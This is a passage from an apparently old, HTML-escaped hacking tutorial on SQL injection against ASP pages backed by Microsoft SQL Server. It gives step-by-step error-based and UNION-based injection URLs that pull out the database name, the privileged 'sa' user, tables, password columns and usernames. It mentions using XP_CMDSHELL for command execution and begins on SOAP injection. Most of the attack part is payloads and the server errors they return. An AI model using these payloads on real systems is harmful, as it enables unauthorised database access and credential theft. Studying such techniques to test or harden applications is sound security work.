/&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Pack 1)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &#39; to data type int.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /page.asp, line 9&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now, We know the version of MSSQL and OS (Windows 2003 Server), Let&#39;s go to enumerate DB_name.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 and 1=convert(int,db_name())--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Error Message returned:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Microsoft SQL Native Client error &#39;80040e07&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Conversion failed when converting the nvarchar value &#39;MafiarooTdb&#39; to data type int.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /page.asp, line 9&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We can know the Database name = &quot;MafiarooT&quot;, Next is query for get current user that run DB.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 and 1=convert(int,user_name())--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Error Message returned:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Microsoft SQL Native Client error &#39;80040e07&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Conversion failed when converting the nvarchar value &#39;sa&#39; to data type int.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /showthread.asp, line 9&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; W00t!! W00t!!, It use &quot;sa&quot; privileges lol. This information can help us that we can use extended&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; stored procedure &quot;XP_CMDSHELL&quot; to run arbitrary command executes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In next example, we show you how to obtain table names, column names and data.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Take a look at our First request&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=...table_name from information_schema.tables))--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;information_schema.tables&quot; stores information about tables in databases and there is a field called &quot;table_name&quot; which stores names of each table. The result of this request is something like this:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Microsoft SQL Native Client error &#39;80040e07&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Conversion failed when converting the nvarchar value &#39;threads&#39; to data type int.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /page.asp, line 9&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; From the query, we get threads as a nvarchar data type and as it cannot convert from threads to int data type,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; the error is returned.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Therefore, we know the first table = &quot;threads&quot;, from this error. The next step is looking for the second table.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We only put WHERE clause append the query in above request.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=...e from information_schema.tables where table_ name+not+in+(&#39;threads&#39;)))--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We will get an error like this:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Microsoft SQL Native Client error &#39;80040e07&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Conversion failed when converting the nvarchar value &#39;users&#39; to data type int.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /page.asp, line 9&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Again, we know the second table = &quot;users&quot;, from the error. If we want another table, we just append our known table list. for example :&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=...e from information_schema.tables where table_ name+not+in+(&#39;threads&#39;,&#39;users&#39;)))--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; And we will get an error:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Microsoft SQL Native Client error &#39;80040e07&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Conversion failed when converting the nvarchar value &#39;forums&#39; to data type int.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /page.asp, line 9&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; This means the third table = &quot;forums&quot;. On the other hand, if the previous request return something like this.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ADODB.Field error &#39;800a0bcd&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; record.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /page.asp, line 10&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; It means this database consists of only two tables, threads and users.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; OK, now, we already get all tables. The next target is column names.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The method to retrieve column names is not much different from getting table names.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We merely change from &quot;information_schema.tables&quot; to &quot;information_schema.columns&quot; and from &quot;table_name&quot; to &quot;column_name&quot; but we have to add &quot;table_name&quot; in WHERE clause in order to specify the table which we will pull column names from.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Don&#39;t talk too much, let see an example :&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=...n_schema.columns where table_name=&#39;users&#39;))--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; From this request, we get an following error&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Microsoft SQL Native Client error &#39;80040e07&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Conversion failed when converting the nvarchar value &#39;uname&#39; to data type int.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /showthread.asp, line 9&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; As the same approach of getting table names, we abruptly know that the first column of table &#39;users&#39; is &quot;uname&quot;.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; For another column name, we add a bit in WHERE clause.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=...=&#39;users&#39; and column_name not in (&#39;uname&#39;)))--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We will get an below error.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Microsoft SQL Native Client error &#39;80040e07&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Conversion failed when converting the nvarchar value &#39;upass&#39; to data type int.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /showthread.asp, line 9&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Absolutely we know the second column = &quot;upass&quot;, of table &#39;users&#39;. For getting more column names,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; we only append a known table list like that in getting table names. For example :&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=... and column_name not in (&#39;uname&#39;,&#39;upass&#39;)))--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The Error message:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Microsoft SQL Native Client error &#39;80040e07&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Conversion failed when converting the nvarchar value &#39;email&#39; to data type int.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /showthread.asp, line 9&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; So, the third column is &quot;email&quot;. but if the error is&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ADODB.Field error &#39;800a0bcd&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; record.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /page.asp, line 10&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; This means no more column left. Next is the real target which attackers want, the data.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; If take a look carefully, we will see that the idea is not different from getting table and column.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Use the same manner but change only table and column name.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; If we want uname data in table users, we can do like this:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 and 1=convert(int,(select top 1 unam e+from+users))--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We will see uname in returned error.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Microsoft SQL Native Client error &#39;80040e07&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Conversion failed when converting the nvarchar value &#39;admin&#39; to data type int.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /page.asp, line 9&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now, we know that there is &#39;admin&#39; in column &#39;uname&#39; of table &#39;users&#39;. For another uname,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; we just create a known table list as table and column.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 and 1=convert(int,(select top 1 unam e+from+users+where+uname+not+in+(&#39;admin&#39;)))--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Error again:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Microsoft SQL Native Client error &#39;80040e07&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Conversion failed when converting the nvarchar value &#39;MafiarooT&#39; to data type int.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /page.asp, line 9&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; OK, we get another &quot;uname&quot; which is &#39;MafiarooT&#39;. If we try following request.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 and 1=convert(int,(select top 1 unam e+from+users+where+uname+not+in+(&#39;admin&#39;,&#39;MafiarooT&#39;)))--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; And we get an error like this&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ADODB.Field error &#39;800a0bcd&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; record.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /showthread.asp, line 10&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; It means there are only two uname in users table (admin,MafiarooT).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x02c] - MSSQL Injection with UNION Attack&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; This method differs from the both previous methods because we do not get information through error&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; but we, instead, see it in some point of returned page.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; First of all, we have to know the exact number of selected column. We can find it by using ORDER BY clause.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 order by 1--&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 order by 2--&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 order by 3--&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 order by 4--&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; and so on&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We observe a result from each request until we get error like this.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Microsoft SQL Native Client error &#39;80040e14&#39;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The ORDER BY position number 5 is out of range of the number of items in the select list.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /showthread.asp, line 9&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; This means this page select four columns from table and this error occurs when we request&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 order by 5--&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now, we use UNION operator to gain information.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 1,2,3,4--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We will see &quot;1&quot; or &quot;2&quot; or &quot;3&quot; or &quot;4&quot; appeared on some point in returned page. We assume that we have already&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; located the position which &quot;4&quot; occur on the screen.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; (We should remember this position because it is where our information will be appeared)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; As we found &quot;4&quot; on the screen, we replace &quot;4&quot; with &quot;@@version&quot; in order to find the version of MSSQL.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 1,2,3,@@version--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We will see version of MSSQL appeared in the position which &quot;4&quot; occurred.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; At this point, we know that next information definitely takes place in this position.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The rest are to find table names, column names and data. As we see in previous section,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; we can obtain table names and column names through &quot;information_schema&quot; database.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We still use the same way in this approach.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 1,2,3,table_name frominformation_schema.tables--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We will see the first table on the screen. We assume it is table called &#39;threads&#39;. We can find next table by following request.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 1,2,3,table_name from information_schema.tables where table_name not in (&#39;threads&#39;)--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We assume the retrieved table is &#39;users&#39;. So, we append a known table list until we get blank in position which &quot;4&quot; occurred.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; After we get all table names that we want, we move to gather column names.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 1,2,3,column_name from information_schema.columns where table_name=&#39;users&#39;--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; From this request, we will see the first column in table &#39;users&#39;. We assume it is &#39;uname&#39;. For another column, we can use following request.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 1,2,3,column_name from information_schema.columns where table_name=&#39;users&#39; and column_name not in (&#39;uname&#39;)--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We get the second column which is &#39;upass&#39; and we continue appending a known column list until we get blank result.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The most wanted information is data. It is quite simple after we obtained table names and column names. We just use following request.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 1,2,3,uname from users--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; We will get data such as admin from the request. In order to get another row, we only append information list as following.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Code: (Click here to copy code to clipboard)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 1,2,3,uname from users where uname not in(&#39;admin&#39;)--&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now, we can enumerate the rest data.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [0x02d] - MSSQL Injection in Web Services (SOAP Injection)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Web Services use XML messages that follow the SOAP standard and have been popular with traditional enterprise.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; In such systems, there is often a machine-readable description of the operations offered by the service written&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; in the Web Services Description Language (WSDL).&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SOAP is often used in large-scale enterprise applications where individual tasks are performed by different&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; computers to improve performance. It&#39;s often found where web application that deployed as a front-end to an&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; existing application.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Let&#39;s take a look for SOAP request like this:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Quote:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; POST /webservice/service.asmx HTTP/1.0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Content-Type: text/xml; charset=utf-8&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SOAPAction: &quot;http://tempuri.org/GetUserInfo&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Host: testcwh.cwh.net&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Content-Length: 345&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Expect: 100-continue&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connection: Keep-Alive&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;soap:envelope br=&quot;br&quot; xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;&amp;gt;&lt;soap:body&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;getuserinfo br=&quot;br&quot;&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xmlns=&quot;http://tempuri.org/&quot;&amp;gt;&lt;username&gt;admin&lt;/username&gt;&lt;password&gt;1234&lt;/password&gt;&lt;/getuserinfo&gt;&lt;/soap:body&gt;&lt;/soap:envelope&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Can you see username(admin) and password(1234) that send to Server side ?&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; What&#39;s happen if we injection (&#39;) single quote to username field like this:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;username&gt;admin&#39;&lt;/username&gt;&lt;password&gt;1234&lt;/password&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; before It send to Server Side. We can use Web proxy (Burpsuite, Paros proxy) to intercept SOAP request and SOAP respond.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Quote:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; HTTP/1.1 200 OK&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Date: Mon, 26 Jan 2009 15:45:27 GMT&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Server: Microsoft-IIS/6.0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; X-Powered-By: ASP.NET&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; X-AspNet-Version: 2.0.50727&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Cache-Control: private, max-age=0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Content-Type: text/xml; charset=utf-8&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Content-Length: 1057&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connection: close&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; X-Junk: xxxxxxxxxxx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;soap:envelope br=&quot;br&quot; xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; 